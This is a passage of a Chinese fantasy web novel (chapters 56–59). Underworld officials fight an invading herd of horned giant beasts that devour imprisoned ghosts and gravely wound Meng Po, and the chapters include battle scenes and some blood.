“快!就是现在!”谢必安挥着哭丧棒挡住袭来的蛛腿,缚灵蛛攻击的速度越来越慢,他们不敢再砍断蛛腿,只好重复地抵挡着它的攻击。
不知什么时候进来的云峤绕到了缚灵蛛的身后,一团银色的灵力在他手中飞快旋转着。
“岑黎,我一出手,你就用长镰划开它的肚子!”云峤大喊着,手中的灵力越来越膨胀,甚至遮住了他半个身子。“三!二!”
“一!”
银光骤然亮起,屋内瞬间亮如白昼。
56. 地府危局 一
岑黎一拍手:“有可能啊,没准它们以前就见过呢?”
谛听随着地藏到地府的年头也不短了,墨玉作为灵猫,除了跑到人间去的那一段时间,其余时间都待在地府中,没准它们真的是玩伴呢。
谢必安这么想着,将手里的布巾递到谛听眼前:“谛听,你是不是想见墨玉?”
谛听没再嗅闻,看着他摇尾巴。
“那你跟我走吧?找墨玉玩去?”谢必安小幅度地甩着布巾,谛听的大脑袋转动的幅度和他手中的布巾几乎一致,看得旁人都想笑。
站在岑黎身边的大风不知什么时候又化形成了小鸟——它大概是发觉了这样小体型的好处,灵巧,可爱,想站哪儿站哪儿。
它扇扇翅膀飞到岑黎的肩膀上,用脸颊蹭了蹭岑黎的耳朵,又叫了一声看向沈自珩。
正在将镇妖塔入口的破门关上的沈自珩听见鸟叫转身看去,就见岑黎和大风一起看向他,眼中的含义不言而喻。
他轻哼一声:“想带大风回去?那便带回去吧,自你出现它什么时候听过我的话?”
岑黎伸手一指他,话语间有着松快下来的俏皮:“哎,大风一直很听你的话啊,刚刚对付缚灵蛛不也是吗?”
沈自珩笑笑:“是,你带它回去可以,但是你是不是先随我去把这蛛丝送到阎王殿去?”
“哦。”岑黎一抿嘴,食指蹭了蹭肩上的大风,“走吧。”
云峤带着谛听往拘魂使后方的住宅区走。
他是最早随着地藏来到地府的,这么多年没有回过几次昆仑,大半时间都待在地府,说来也算是对这里十分熟悉,但是他还真的没有到鬼差们的住处拜访过。
云峤看着眼前一排宅院,惊叹着:“这里真好。”
谢必安笑看他一眼,推开大门:“要不要考虑买一套?这儿全是熟人,我左边是自珩,右边是老范,范无咎,那旁边一块儿,住的大部分是阴律司和赏善司的鬼差。”
他往斜前方伸手画了个圆:“好多都还空着呢。”
大门吱呀一声打开,墨玉不知从哪儿跑了出来,一路喵喵叫着跑到门口迎接,站在云峤身后的谛听拱开了他,摇着尾巴往前走了一小步,随后竟然原地趴了下来。
谢必安看乐了:“嘿!”
谛听走近的时候墨玉前进的脚步就停住了,一只前爪悬空着,见谛听趴下不再有动作后,墨玉那只前爪才踩在地上,有些犹豫地凑上前闻了闻。
谢必安在旁边看着,时刻准备拦住可能要跑的墨玉,谁料下一刻,墨玉轻巧地一跃,跳到了谛听的头上。
站在一旁的两人看着墨玉熟练地在谛听背上踱了一圈后卧下,张了张嘴,见谛听没有反应,又用爪子轻轻拍了拍谛听。
“这是……”
谛听站起身,很自然地驮着墨玉往屋里走去。
“蛛丝都在这儿了?”薛礼放下手中的花盆,转过头看向沈自珩手上拿着的葫芦,“不错,辛苦你们了。”
他站起身,手指轻拂过花瓣,温和地笑道:“说吧,想要什么奖赏?”
沈自珩撇了一眼岑黎,闭上了嘴。
方才过来的路上岑黎便警告过他,不许提免除惩罚的事。
沈自珩第一次这么明显地表现出了自己的不满,他面无表情地目视前方:“为什么。”
岑黎拽着他停下脚步:“我是孟婆庄管事,奈河出了问题就是我的失职。”
沈自珩回她:“又不是你让奈河成这样的。”
“……那也是轮回司的事,你是阴律司的督察,插手轮回司不合适。”岑黎晃他袖子,“我自己会找机会说的。”
沈自珩不信,低下头盯着她:“奈河出事与你们孟婆庄没有半分关系,不要打碎牙往肚子里咽。”
他盯得认真,一双看谁都轻飘飘的狐狸眼此刻因为认真似乎比平时都大了一圈。
岑黎失笑,伸出双手捧着他的腮帮子:“我像是会甘愿吃亏的人吗?”
“那你为什么要一再阻拦我?”
“你不要牵扯进来……”
站在殿上的沈自珩用余光瞟着身旁的岑黎,这个角度其实看不见她的脸,只能偶尔看见被风吹起的她的衣角。
薛礼的目光在他们二人之间来回扫视,瞧他们都无动于衷,笑呵呵地说:“现在想不出来的话,那……”
“府君!”春生一身血污地跑进殿里,手上的刀也已是血迹斑斑,将殿上的几人都吓了一跳。
“这是怎么了!”薛礼变了脸色,“出了什么事?”
春生提起刀指向外面,刀尖挥舞着甩下一串血迹:“有凶兽闯进地府了!从体型看就是前阵子我们发现的那一类!”
薛礼皱着眉,朝一旁的鬼差挥手,又指了指地上的血。旁边守着的鬼差立刻跑进内间,拿了块湿布出来趴在地上擦除那些血迹。
“凶兽可有伤人?”薛礼问。
春生看着跪在面前擦地的鬼差,皱着眉摇摇头:“没有,但撞塌了一些房屋。”
“杀了便是,这也要问?”
春生拱手:“是。但是……”
他的声音被一阵沉重的脚步声盖过,那声音起先还较缓慢,只是“咚、咚”,但很快便分辨不清,声音越来越响,几人甚至感觉到了脚下的地面都有些震动,连殿内的石柱都簌簌落下些灰尘。
是体型巨大的兽。岑黎凝神聚气地听着那脚步声,分析着。
“有很多凶兽。”春生吞咽了一下,两手无措地抬在空中,虚虚地框出一个巨大的圈,“是兽群。”
“谢必安!来拘魂司大牢!快!”谢必安腰间的虚空镜猛地亮起,他刚拿起来就听见那头传出的孟婆声嘶力竭的喊声。
他大惊失色,孟婆虽然一向说话简洁明了,但从来不会如此歇斯底里……
“云峤,它们交给你照顾了!”谢必安匆匆说了一句就往外跑。
拘魂司大牢内关押着的只有那些鬼,难道是他们出了事?谢必安越想越慌,又拿起虚空镜试图联系孟婆。
但那头一点反应都没有,他暗骂一声,加快脚步往大牢去。
大牢的大门在整座拘魂司的最深处,要去大牢必定要穿过拘魂使。谢必安推开拘魂司紧闭的大门,正想问今日当值的鬼差究竟怎么回事,可一推开门就震惊了。
今日当值的五名鬼差都奄奄一息地倒着,坐在桌前的鬼差四肢已经动弹不得,见他来了,那鬼差微微瞪大了眼睛,气若游丝地喊了一句:“七爷……”
谢必安冲过去,伸手想托起鬼差受伤的手臂查看
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伤势,却在细细看到他手臂上的伤时缩回了手。伤遍布四肢,他根本无从下手。
“谁伤了你们?孟婆呢?”谢必安给他传了些灵力,又飞快地给施永和传讯过去喊他过来救人。
鬼差瞪大眼,看向大牢的方向,若是他现在能抬得起手臂,大约早就紧紧抓住了谢必安。他语气迫切地说:“孟婆在里面!孟婆在里面!七爷!孟婆……”
“我知道了,你等着施大人来。”谢必安按着他肩膀说了一句,右手手掌一翻将哭丧棒唤了出来,朝大牢走去。
大牢的大门开着。
他抬腿迈过门槛,墙上的长明灯竟有几盏熄了,只剩零星几盏亮着幽幽的光,照在湿冷的石壁上泛起几层光晕。
他皱起眉,喊了一句:“孟婆?你在哪儿?”
大牢中一片寂静。谢必安往前走着,忽然听见前方昏暗的角落里似乎传来两声缓慢的敲击。
“七爷……”随着呼声想起,那个角落忽然亮起一道有形状的光。
虚空镜!
谢必安跑过去,孟婆坐在了一片血泊中,衣摆早就被血浸透;身上的衣服也已经看不出原本的颜色。
头靠在墙上的孟婆动了动,身后一大片伤露了出来,又深又长的伤口仍在汩汩流着血,被撕碎的布片摇摇欲坠地挂着。她艰难地坐直了一些,放下手中亮着光的虚空镜,看向蹲在面前的谢必安:“那些鬼……”
“被吞了。”她浑身颤栗,脑中凶兽将那些鬼吞下的场景还历历在目,“一个不剩。”
那巨兽像是直奔着这些有执念的鬼来似的,闯进大牢时孟婆刚刚押着一批鬼进来,只听见背后传来了沉闷的声音,没等她回头就觉得背后有一个黑影朝她扑来,一道剧痛后她已经被巨兽顶飞到空中。
她咬牙忍着剧痛运转灵力,尽量让自己不要狠狠摔在地上,但背后的伤太重,快落地时她灵力一滞,还是摔了下来。
巨兽见她摔下来后没了动作便失去了兴趣,它晃了晃顶着尖角的脑袋,厚重的兽蹄踏过地面,径直朝着不远处的大牢冲去。
牢门被巨兽轻易撞开,里面关着的那些鬼拼命地尖叫着往角落里缩,踩上了其他鬼的脚背、膝盖,甚至肩头,却都没法逃过——巨兽低头叼起两三个鬼,随着它的吞咽,那些鬼的惨叫声便戛然而止,连一片衣服碎片都不曾落下。
孟婆靠在墙上,体内缓缓运转着谢必安传过来的灵力,但她伤得太重,这些灵力也只是杯水车薪。
“那巨兽我没见过,可能是地府外跑进来的。”孟婆一指大牢深处,谢必安随着她手指的方向看去,那里隐约有一个巨大的黑影,已经没了生息。
“我趁着它不注意,将它杀了。”孟婆喘了口气说,“却还是迟了。”
“没能将他们救出来。”
谢必安轻轻拍了拍孟婆放在膝盖上的手,朝着黑影走去,刺鼻的臭味和血腥味越发浓烈,几乎能叫人窒息。
他抬起手掌蓄起一团灵力,借着灵力金色的幽光,他拧紧眉头,看着面前被剖开肚子的巨兽。
孟婆虚弱的声音从另一边传来:“你看见旁边的尖角了吗?”
他看向被扔在一边的那只硕大的漆黑的尖角,顶端沾满了血迹。
“只有那个能刺穿它。”
57. 地府危局 二
孟婆将涌上口中腥甜的血吐了出来,一歪头靠在墙上,蜷起了腿。她双手抱着自己膝盖,勉强地笑了一声:“你看见旁边那柄断剑了吗?竟是无法刺穿它的皮肉。”
“我……我本想趁它低头吞食鬼魂时抢先一步刺穿它,但它的皮肉厚极了……”孟婆没力气再说下去,虚弱地窝在墙角。
谢必安看着巨兽断角上浅浅的勒痕,那是孟婆的镇魂鞭的痕迹,鞭子的另一头还缠在石柱上,他走近去看,石柱上竟也有了几道不浅的磨损。
谢必安站起身,这么一看便能看出孟婆是如何将巨兽的角掰断的:镇魂鞭的一头绑在了巨兽的角上,另一头则是缠在石柱上,那巨兽用庞大的身躯撞向站在石柱与墙壁之间的孟婆时,只要它调转身子,头上的角便会被掰断。
他捡起地上的尖角收好,走到孟婆身边继续给她传着灵力。看着眼前不省人事的孟婆,他皱着眉又将虚空镜掏了出来。
“自珩,你们在哪儿?孟婆伤重,得尽快医治!”谢必安语速飞快,简明扼要地说着。
沈自珩将手中的虚空镜塞到岑黎手上,提起银枪猛地往前刺去。
那头的谢必安等着回音,镜面一晃,出现了岑黎握着长镰的手。他压着嗓子惊呼一声:“你们遇到巨兽了?!”
没等回答,岑黎那边忽然出现一阵吼声,随后便看不见什么了,只能听见长镰的破空声和几声闷响。
谢必安脱了外袍披在孟婆身上,站起身走到前院,除了受伤的鬼差外并无他人。
“施永和怕是被困住了。”
他低声自喃,手中的镜子这时传来岑黎的声音:“我会带着施永和过去!你们在拘魂司吗!”
那头呼啸的风声和巨兽的怒吼震天响,谢必安努力分辨才听懂岑黎说了什么,他拿近镜子,也大喊着:“对!拘魂司!巨兽的……”
“孟婆和七爷都在拘魂司,我得带着施永和过去!”岑黎手中的长镰挥舞着擦过巨兽的身侧,在它厚厚的皮肉上划出一道口子,被激怒的巨兽咆哮着转过头朝她冲来。镜子的碎裂声被埋在震耳欲聋的脚步声和咆哮声中,几不可闻。
她旋身跃上一旁的屋顶,这巨兽与骨矛兽体型相近,虽没有骨矛兽灵活,但头上的那根尖角却是十分厉害,轻易便能将墙体扎穿,身上厚厚的皮更是不好对付。
“我过去了你能应付得了吗!”岑黎传讯给沈自珩,巨兽群毫无章法地四处冲撞,倒塌的房屋扬起一阵阵烟尘,将沈自珩的身影都遮掩住了。
等了一会儿,仍没有等到沈自珩的回音,岑黎一咬牙,决定先去找施永和,但在周围等着的巨兽该怎么办……
“小黎,听到大风的叫声后你就跑,去找施永和。”沈自珩终于传讯回来,声音有些嘶哑,“老谢说联系不上你,让我转达,巨兽的角可以刺穿它。”
转达完之后他明显停顿了一瞬,但很快就恢复了正常,像是平时他对她说早点休息那样,说了一句:“注意安全。”
“好,你也是。”岑黎耳边传来大风清亮的一声啼叫,她趴在屋顶上往下看,巨兽不知是被大风的声音吸引还是被沈自珩那边的血雾吸引,每一只都在笨拙地转身,朝那个方向跑去。
传讯那头没有声音,但她知道他们之间的传讯并没有断。她捂着心口,手中银色的灵力像一根随风飘起的细线,在尘土飞扬间飘向了他。
“注意安全,沈自珩。”她轻声说,“我会尽快回来帮你,好吗?”
沈自珩笑了一声。
传讯断了。
“我……我收……你慢点!”施永和几乎是被岑黎拎着领子跑,手中拎着的药箱一晃一晃,像块巨大的石头坠着,他哎呦一声,索性将药箱抱在怀里。“孟婆伤得重吗,伤在什么地方,有没有止血?”
岑黎在前面拽着他,传出的声音几乎被风吹散:“联系不上他们,我的虚空镜碎了。”
施永和又哎呦一声,努力加快脚步。
周遭的房屋、损毁的路面飞快从眼前掠过,空气中似乎又夹杂了血腥味。
岑黎只匆匆撇了一眼,一路上经过的各殿都大门紧闭,施永和也并没有收到其他殿传来的需要医治的消息,为什么巨兽偏偏攻击拘魂司?
是因为大牢里关着的那些鬼吗?可从刚刚的交手看,巨兽似乎并不只攻击有执念的鬼……
拘魂司的门虽关着,但这两扇被撞得几乎散架的门也起不到什么抵挡的作用。岑黎抬脚将门踹开,拉着施永和跑进去。
“人呢?”施永和站在院子中间看着一地凌乱,摸着脑袋环视一圈,惊讶地问,“人呢?”
“我们去找谢必安。”岑黎又拽着他往后面跑,她只来过一次大牢。
还好来过一次。
拘魂司前院到大牢有些距离,中间有个很大的空地,被拘魂司的鬼差们改成了花园,平日养些花花草草,廊下还放着书架,用来放堆积的簿册,在范无咎的督管下,簿册永远整整齐齐。
可眼下,哪里还有什么花花草草,原本放在廊下的上等木料做成的书柜,现在散落在院中成了一地木头碎片,花草更是只能在脚下血水混着的泥土里找见。
太可怕了。施永和看着眼前的惨状,他到现在没有近距离见到巨兽,但从这般场景看也能知晓,这将是一场灾难。
“谢必安!谢必安!”岑黎边喊边往大牢里走,她记得原本门口有不少亮堂堂的长明灯……她踢开挡路的不知什么东西,转头提醒身后的施永和小心些脚下。
大牢里响起一道极轻的扑哧声,角落里亮起一道光,随即一道女声传出。
“小黎?”
“孟婆!”岑黎扑过去,借光查看着孟婆的伤势,光线太昏暗,只有孟婆脸上已经干涸的血迹十分明显。
孟婆依然靠着墙坐着,身边还坐着一个盘着腿低头的鬼差,他们来了那鬼差也没抬起头。施永和轻轻推了他一把,喊着:“小兄弟?小兄弟?”
“别喊了。”孟婆阻止他,“他醒不过来了。”
一时之间这里只能听见他们粗重的呼吸声。
“先、先看看伤势吧,包扎一下我们就出去,不能待在这儿。”岑黎吸了吸鼻子,给旁边的施永和让位置,又问道,“
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谢必安呢?”
“他去找沈自珩了,临走前安排了这小兄弟在这儿守着。”孟婆一字一句地缓慢地说着,在岑黎和施永和到来之前,这小鬼差还把自己已经变得透明的双手给她看,问自己以后治好了会不会手也依然是透明的。
施永和取出一大团棉花按上孟婆背上的伤口,又拿过纱布紧紧裹上,他手上动作飞快,嘴也不停:“谢必安怎么就放心把你一……把你们留在这儿?要是巨兽再回来怎么办?”
他想想一路上看见的惨状,又抬眼看向漆黑的大牢深处,心有余悸地深吸一口气,却被孟婆打断。
“那就魂飞魄散,也是没有办法的事。”她睁开眼,看着岑黎源源不断地给她输着灵力,苦笑一声。
岑黎竖起手指放在唇边,冲她摇摇头:“别说话。”
孟婆看她:“外面都有谁在守?我听见声响很大,怕是有很多只巨兽。”
岑黎嗯一声:“很多,是兽群。”
施永和听出了她的避而不谈,叹了口气,不再吭声。
“包扎好了?那我们出去,回孟婆庄不行,我想想……”见施永和起身,岑黎立刻说道,“现在不知道其他殿有没有受到攻击,即便没有怕也是腾不出人手来照料伤员……”
她忽然想到一个地方。
“开镇妖塔!”岑黎一把将施永和手中的传讯铃抢过来,给看管镇妖塔的鬼差发出传讯,“你在哪儿,我去接你!”
那头鬼差的声音听着颤颤巍巍的,让人不自觉想起了他那总是害怕的神情:“不……不……”
岑黎怒从中来,大声吼着:“不什么不!外面还有很多受伤的鬼差,你让他们往哪儿去!”
“我……我就在镇妖塔……”鬼差咽了咽口水,“不用接。”
岑黎把铃扔回给施永和,让他传讯给谢必安,告诉他镇妖塔应该是安全的,有受伤的可以送去。
“好。”施永和应着,“还有吗?”
“还有如果实在难敌,让他们不要硬来,先躲起来再另想他法。”岑黎一边说着一边搀扶起孟婆,另一只手握着长镰,目光坚毅地看向大牢门口。
“走,我们去镇妖塔。”
镇妖塔中关着的都是性情凶悍的凶兽,再加上塔中的那些符咒,对闯入地府的那些畜生应该有些震慑。
岑黎的心里打着鼓,她也是猜测,若是到时巨兽并不畏惧镇妖塔的符咒和神兽,直接闯入镇妖塔,那地府将会被搅得天翻地覆,甚至不复存在。
她蹲下身让孟婆趴在自己背上。
孟婆趴了上去,忽然想起岑黎平日别在腰间的虚空镜刚才好像没看见,便问了一句:“你的虚空镜呢?”
“被巨兽踩碎了,坏得彻底。”
“哦,没事,回头再做吧,只是传讯麻烦了些。”孟婆回头看了看落后两步的施永和,凑在岑黎耳边轻声问,“那现在你和沈自珩能联系上吗?你一会儿是不是还要去帮他,外面情况怎么样?”
岑黎停下了,将背上的孟婆往上托了托,然后目视前方,轻说了句:“要去的,我要去找他。”
58. 地府危局 三
“让我走?!”谢必安气得咬牙,用哭丧棒给巨兽挠了痒痒后抽空瞪了沈自珩一眼,终于骂出了口,“你是不是有病?小黎的长镰比我这哭丧棒厉害多了,哪里需要我去保护!”
银枪扑哧一声浅浅地扎进了巨兽的皮,沈自珩手上一使劲将银枪拔了出来,又调转方向扎向它的眼睛。
瞎了一只眼睛的巨兽哀嚎着四处冲撞,循着那股特殊的气味一头撞上了枝干粗壮的大树。
沈自珩收回银枪,将枪上裹着的布条系紧了些,转过头看向谢必安:“但是她只身一人……”
谢必安听着几乎要呕出一口血来,脚下一点飞到半空,手中的哭丧棒狠狠甩在巨兽身侧:“担心她你就自己去!”
巨兽猛地咆哮一声,扭头四处寻找着伤它的人是谁。
“嘿,别说,这上面视野真好。”谢必安站在巨兽的背脊上,看着它头上顶着的那根尖角,方才他试过许多回,别说掰断那根角,连靠近都有些困难,手中的哭丧棒也仅仅能引起巨兽的注意,最多能在它厚厚的皮上留下几道血痕。
谢必安叹了口气,看向远处的沈自珩,银枪正立在他身边,周围的巨兽正甩着脑袋,大概是刚刚撞上了大树撞懵了。
他正想着要如何将脚下这头巨兽的角掰下来,忽然它也开始甩起了脑袋,像是头脑中有些什么要甩掉的东西一样,逐渐变得烦躁不安。
那边的沈自珩也注意到了,他在确认了谢必安的方位后不动声色地紧握住银枪,缓缓地往后退着,他甚至觉着自己的指尖都用力到有些发麻。
他的虚空镜丢了,灵力消耗太大,灵力传讯的法子也不能再用,巨兽时不时传出的怒吼声震耳欲聋。
沈自珩看了看周围已经无主的灵器,各殿不知什么时候能派人过来。他试着喊了一声谢必安,谢必安没听见。
目前巨兽还顾不上他,只是发出一声接一声痛苦的嚎叫,看上去随时会暴怒。
沈自珩蹲在坍塌得只剩一个角的石墙后,紧盯着眼前这头巨兽的一举一动。他很想冲上去快速了解了这头畜生,但他做不到,他的银枪也不如岑黎的长镰锋利,没办法轻松划开巨兽的皮肉……
他很想岑黎。
巨兽的哀嚎声接连不断,甚至开始焦躁地走动,谢必安借着脚下这头巨兽走到屋子旁边时纵身一跃跳上了屋顶。
“老沈?沈自珩!”谢必安趴在屋顶上往两边看着,他猜想沈自珩应当是躲在了哪个屋子里,此刻的街道上除了痛苦万分的巨兽,并没有其他人的身影。
瓦片轻响,随后谢必安的肩膀被人拍了一下:“谢必安。”
他回头看去并没有看到人,于是又朝另一边转过身,沈自珩正蹲在旁边看他。谢必安瞪他,小声骂道:“做什么?!这时候了还玩这种把戏?”
沈自珩平静地看他,一指下面:“刚刚拍你的是它。”
伴着一声清脆的啼叫,方才用翅膀拍了谢必安的大风俯冲下去,尖而长的喙直直地啄向巨兽的眼睛。恢复到原本体型的大风不仅攻击力强,速度也极快,原本正痛苦的巨兽根本来不及反应就被啄伤了一只眼睛。
鲜少看见大风这般的谢必安重又趴回屋顶,连连咋舌:“大风太厉害了……”刚感叹一句,就见巨兽受了伤的眼睛逐渐不再流血,只留几道干涸的血痕在狰狞的脸上,显得极为可怖。
“血这么快就止住了。”谢必安探头看向其它巨兽身上的伤口,本就不深的伤口现在竟已经有些好转。他转头看向一旁蹲着的沈自珩,脸上的表情与他大概如出一辙。
沈自珩沉吟半晌,低声说:“大风也只能啄它们薄弱之处,其它再帮不上忙,我们还是要想办法将巨兽的角弄下来,哪怕一根也行。”
“我当然知道,但要如何做才是关键,孟婆在大牢中是借助了石柱和镇魂鞭,我们这儿。”他伸手在眼前画了个圆,将眼前这片断垣残壁和断树都圈了进来,“没有那么坚硬的石柱,也没有坚韧的镇魂鞭。”
兽群中已经有几只被大风啄瞎了眼睛,痛苦的哀嚎声此起彼伏,甚至将一些屋顶上摇摇欲坠的瓦片震落摔碎。
沈自珩观察着几乎已经占据这一整条街的巨兽群,它们不停地来回走动,漫无目的地冲撞,常常发出一声哀嚎后便用头撞向一旁的大树或是房屋,看上去极为痛苦,却不像是因为受伤的眼睛。
“刚才也有一阵是这样。”谢必安将没什么大用的哭丧棒放到旁边,“是为什么呢?周围有什么东西对它们产生了影响,花?草?还是什么声音?”
沈自珩摇头,他们对当下的情形已经束手无策。
没人知道闯入地府中的巨兽究竟有多少,是全都聚集在此处了,还是地府中其他地方也有?能吸引它们的是鬼魂还是仅仅有执念的鬼?除了它们头上的角之外,还有没有其它东西能刺穿它们厚实的皮肉……
“我能回答你,不止这么十几只。”谢必安转过脸看他,脸上挤出的一个笑容比哭还难看。他伸出一根手指指了一个方向,欲哭无泪,“我听见又有一大群来了。”
靠在椅背上的孟婆紧蹙着眉,背上的疼痛已经从最初的剧烈慢慢变成现在钝钝的、撕扯的疼痛,她甚至觉得自己的肩膀到后腰都麻木了。她慢慢直起身想碰一碰后背,却忽然觉得身下的椅子似乎在震动。
她转头看向门口。
镇妖塔虽有窗户,但都用琉璃封得严严实实,除了光亮之外其余什么都看不出来。她看了一会儿,正想收回视线,就瞧见外面有一大片黑影掠过,那些黑影看上去一个叠一个,分辨不清究竟是什么东西。
不对!是巨兽!刚刚黑影中忽然出现的那一个尖角!那不就是巨兽头上的角!
她瞳孔骤缩,强忍着背上的疼痛站起身,走向正守在门口打盹的施永和。
“施永和,施永和!”她压低声音,抬手扶着施永和的肩膀摇晃着,“醒醒。”
施永和猛地惊醒,还没从现在身处何地的迷茫中缓过来,就被孟婆捂住嘴。她指了指外面,又指了指镇妖塔里面,轻声说着:“巨兽……我们去里面。”
巨兽在外面,随时都可能冲进来!
施永和从她简短的
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话语中听出了现在他们的处境,他睁大眼睛,连连点头。
孟婆背后的伤口再次裂开,她感觉到了背上渐渐濡湿的衣服,加快脚步往镇妖塔深处走去,但塔内除了一间间牢房,其余并没有什么地方能够藏人。
施永和的药箱被留在了靠近门口的地方,他小心翼翼地打开上头的木头盖子,从中拿了些能用得上的药放进袖中,随即便紧跟上了孟婆。
“我们躲哪儿?哪儿能躲啊?”施永和跟在旁边,眼前只有一个水池和一块大石头,周围再无其它遮挡。
那个胆小的鬼差也凑了上来:“二位大人,不如随我来吧?”他略弯着腰走到孟婆前面,向他们指了指楼上。
孟婆皱着眉:“上楼?”
鬼差点头:“上头有空的牢房,里头应该比较安全,门可以关上的。”
施永和连声说好,正打算跟上,胳膊却被人拽住,他不解地看向拽住他的孟婆:“怎么了?”
“楼上那些比外面的巨兽可怕多了。”孟婆撇了一眼愣在楼梯口的鬼差,这怕是个平日浑水摸鱼的,一点事儿都不经。她低声斥了他两句,“你叫什么,哪个殿上的,不知道这里关的都是什么样的凶兽吗?”
那鬼差看她神情冷峻严肃,险些被吓得跪下,腰更弯了,颤颤巍巍地开口:“我、我叫陈再喜,厉温阎王殿上的……”
孟婆见他这般模样,放缓了语气说道:“塔中关着的大多是要过人命的凶兽,有些一只便可抵得上外面一群!若是塔内凶兽异动,你觉得到时是塔内安全还是塔外更好些?”
鬼差想了想,抹了把额头上的冷汗:“是、是……小人知错,小人受教了。”
“行了,坐到石头后面去。”孟婆小幅度地挥了挥手,让他们绕到奇石后面躲好,自己则转身要往门口走。
“你做什么去?!”
“沈自珩!你回来!”谢必安在屋顶上抓了个空,沈自珩已经跃下了屋顶,站到了巨兽的背上,“总得先想个办法!你去送死啊?!”
沈自珩在巨兽背上站稳,将手中银枪的枪头指向脚下巨兽的头顶,猛地一刺——巨兽的吼声和他的话同时响起:“那也比等死好!”
随着他这一刺,枪头完全没入了巨兽的皮肉中,鲜血涌出,不停地流淌着。沈自珩紧握着手中的银枪,原本以为巨兽会因为疼痛将他甩下来,却没想到巨兽竟是缓慢地俯下身,跪了下来。
谢必安看不懂了:“这是……”
跪在地上的巨兽逐渐安静下来,甩了甩头之后便再也没有了动作。
沈自珩问谢必安:“它还活着吗?我瞧不着。”
谢必安看着还在眨眼的巨兽,点点头:“活着,还在喘气呢。”他往旁边挪了挪,换了个角度看它,不可思议地问,“它不会这就被扎服了吧?这么简单?”
巨兽又缓慢地眨了一下眼睛,飞快地甩了甩头,伤口处的血流到了它额前的尖角上,又顺着尖角滴在地面上。
“快上来!”谢必安忽然大喊一声,伸手抓住放在一边的哭丧棒甩了出去,“抓住!”
59. 地府危局 四
沈自珩不明所以,正想说话就觉得脚下猛地摇晃着,地动山摇一般让他几乎站不住脚。他伸手抓住飞过来的哭丧棒,眼前又是一片恍惚之后摔落在了屋顶上。
谢必安拽着还在头晕的沈自珩,马不停蹄地奔向旁边的屋顶,嘴里骂骂咧咧的:“还好我一直盯着,还真以为有这么简单呢!见了鬼了!”
被扎在头顶的巨兽沉静片刻后不知什么原因忽然暴怒,眼中很快便蒙上一片血红,谢必安正是瞧见它眼睛后察觉不对,这才让沈自珩快上来。
此刻的巨兽不像之前那般笨拙,在撞碎之前他们趴屋顶的那栋房屋之后,直直地朝他们追来,“咚咚”的脚步声像是擂在耳边的大鼓,叫人头都不敢回。
“好近。”岑黎闪身躲开被巨兽撞断倒下的大树,握紧手中的长镰转身扫去,奔向她的巨兽的关节被齐齐划开,露出了里头的森森白骨。
像一座小山一般的巨兽轰然倒塌,她趁这时闪身躲进窄巷里,四下寻找着庇护之所。只有一两只巨兽她尚且可以一战,可听这像是千军万马奔来的脚步声,朝这儿来的巨兽怕是不少。
她在窄巷里快步穿行着,绕过几个拐角后,身后巨兽的脚步声逐渐远了。
这条窄巷甚至称不上是巷,只是各房屋外墙间的空隙形成,因这些屋子都在鬼市中,重建时李恒大人还问过房屋间离得要不要再近一些,方便巡查,却被沈自珩驳回。
他当时说,能容一人通过即可,这样若是人潮拥挤或是有其它突发事件,可以从鬼市这些四通八达的窄巷里逃出去。
岑黎放缓了脚步,情不自禁地伸手轻触两边的石墙,粗糙的石头勾破了她的衣袖,露出了下面伤痕累累的手臂,不看还好,一看便觉得伤口似乎剧痛起来。她扯了扯衣袖,快步穿出窄巷。
她刚走到大街上,在鬼市外悠荡的几只巨兽便调转了方向朝鬼市走来。
当务之急是解决这些巨兽,但他们并不知道有多少巨兽闯入了地府,又是从哪里闯入。巨兽很难杀死,要想逐一解决并不可行,那就只能想办法将它们引到一处,再做打算。
岑黎拎着空空如也的酒坛子快步向鬼市的另一个出口走着。她打算将鬼市周围的巨兽往阎王殿的方向引,最初与巨□□手便是那处,周围的百姓都已转移,不会造成大的伤亡……
腰间的虚空镜忽然有了动静。她反应迅速地捂上闪着亮光的虚空镜,闪身进了一旁的酒铺。
“怎么了?”是施永和传讯来。
那头的施永和看上去心急如焚,胖胖的脸颊肉因为紧张而绷紧:“孟婆的伤势恶化了,我必须要带她去良医所,再不处理她就没了。我传讯来就是问你,你现在在何处?受伤了吗?”
岑黎摇摇头:“我在鬼市,你一人能行吗?”
施永和叹口气:“不能行也得行……”一旁忽然传出一道声音,小声地说,“我也……我同施大人一起。”
“从镇妖塔到良医所虽不从鬼市中穿过,但良医所距鬼市不远,我观这些巨兽嗅觉灵敏,需得有人将它们引开。”岑黎趴在满是干草的灶台边,透过窗瞧了一眼外面。
现在巨兽还没有进鬼市,得快些动作。她心里想着良医所、镇妖塔和阎王殿的位置,要将巨兽引到阎王殿怕是来不及,孟婆的伤等不了这么久,那就只能赌一把将它们困在这里了。
岑黎小声喊施永和:“我将它们引进鬼市,这里房屋多,道路错综复杂,它们进来了一时半会儿也出不去……一炷香!等一炷香后你们再动身。”
“只好这样了,你小心些!”施永和刚说完岑黎就断了传讯,他咬着牙,一把拽过旁边的陈再喜,“从现在起一炷香!一炷香一过,我们就出去!”
陈再喜神色一凛,冲他抱拳:“是!大人!”
岑黎走出酒铺的厨房,将铺子中码在角落里的几坛子酒全都搬到了门后,这酒铺开了上百年,口碑极好,正是因为这几坛子酿了上百年的酒,想来应该是香气浓郁的。
她扯住坛子口上的红布,将酒坛打开,浓烈的酒气很快便弥漫在整个酒铺中。
但这还不够。
她转身将隔开雅间的布帘扯下来放在一边,又将柜台后货架子上的酒瓶酒罐都拿了下来,留了几瓶放在一边,其余的通通倒了出去,连常年积灰的角落里都洒上了酒。
“将巨兽引来后,我再用火点了这间屋子……它们的皮再厚也总会怕火……火折子呢?”她正想再去厨房找些引火的东西,余光忽然瞧见了自己那只破了的衣袖,上面还沾着些血。她想了想,抬手将沾血的衣袖撕下一块来,挂在了窗外。
“大人,一炷香了。”陈再喜站在镇妖塔门口,小心翼翼地从门缝中向外看,塔前的空地除了被巨兽踩碎的石块,其它什么都没有。他松了口气,刚想打开门就瞧见前方自屋顶上升起一股黑烟。
黑烟很快就越来越浓,升到空中后没多久火光骤然亮起,将那一片都映得火红。
他瞪大眼睛,眉毛连带着脸颊抽搐了两下,努力地控制住自己心里的慌乱,转头看向施永和:“大人,外面、外面走水了!”
施永和背起孟婆:“开门!那是小黎做的!”
“是……是!”陈再喜打开门,率先提着剑走了出去。
他握紧手中的剑鞘,转头看向施永和时目光坚毅得像是换了个人,“大人,您还请紧跟着我,咱们走小路。”
